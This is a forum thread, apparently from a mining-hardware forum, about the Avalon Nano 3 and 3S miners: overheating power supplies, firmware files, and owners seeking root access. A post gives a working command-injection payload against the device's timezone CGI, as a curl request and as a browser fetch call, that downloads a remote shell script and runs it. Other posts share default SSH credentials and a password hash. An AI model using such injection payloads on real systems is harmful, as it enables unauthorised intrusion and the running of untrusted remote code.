Avalon Nano 3 [unofficial thread]

[botor123]

same problems here.-melted usb cables and burnt power supplies. I think they are not calculated very well and should be used in LOW or MIDDLE mode.

[LimaPT]

seen some people on-line, upgrading psu unit too an Dell USB-C 165w , and they are happy ,
i´m on process of doing an STL , to make an "stand" with 120mm fan on the back , too cool down chager and asic

[ovydyu1985]

can somene help me with this file Avalon_Nano3_2024123018_a312f9b.kdimg.gz?

[lipo135]

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

Hey, could you provide a bit more details on exploiting the Nano 3S? Its web UI is quite different from the Nano 3, so the timezone hack isn't applicable here.

On Nano3s you do not have to run any exploit. Firmware version 25021401_56abae7 have ssh username "avalon" and password "avalon" Found on github btw

edit:
sorry for the mystification - the firmware "2025012001_21e0e59" posted on github has root enabled, but "2025021401_56abae7" and "2025061101_4ba23e3" already have root access disabled

Code:

/etc/shadow
root:*::::::

[i4n0rd]

On Nano3s you do not have to run any exploit. Firmware version 25021401_56abae7 have ssh username "avalon" and password "avalon

Mhmm might be stupid but you can't do anything with that user...
**edit** at least some logs can be read under /data/userdata/log

I'm on 25021401_56abae7 with my Nano3s

Code:

passwd: avalon can't change password for root
-sh: cd: can't cd to mnt: Permission denied
-sh: cd: can't cd to mntapp: Permission denied
#top
top: can't change directory to '/proc': Permission denied

So we still need some exploit to get elevated rights/change root pwd or am I wrong?


Cheers!


PS: Are there any changelogs what has been done (except disabling root) from 25021401 to 2025021401 & 2025061101?
Is there any benefit in buidling one yourself from https://github.com/Canaan-Creative/Avalon_Nano3s/?

[itsabeardance]

Is there any sense (or perhaps danger) in adding heatsinks to the PSUs that get absurdly hot on these guys?

[simpic]

The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.

If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to https://xn--i29h.ge/n.sh, then execute it:

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:

Code:

await fetch("/timezoneconf.cgi", {
  "body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
  "method": "POST"
});

The payload has comments, so feel free to check it, but it:

• Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
• Generates a new ED25519 host key.
• Creates the jail environment the SSH daemon expects.
• Configures SSH as a init service.
• Launches the SSH service, so you don't have to reboot.

After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!

I have tried both using curl and JS console in the browser but my Nano 3 keeps refusing connection on port 22. I also tried to reboot and relaunch the commands, but they don't work.
My firmware version is the following: 24071801_42c628d.

What's wrong?

[simpic]

I have tried both using curl and JS console in the browser but my Nano 3 keeps refusing connection on port 22. I also tried to reboot and relaunch the commands, but they don't work.
My firmware version is the following: 24071801_42c628d.

What's wrong?

I solved it by running the shell script commands step by step, serving it from my computer in the same network.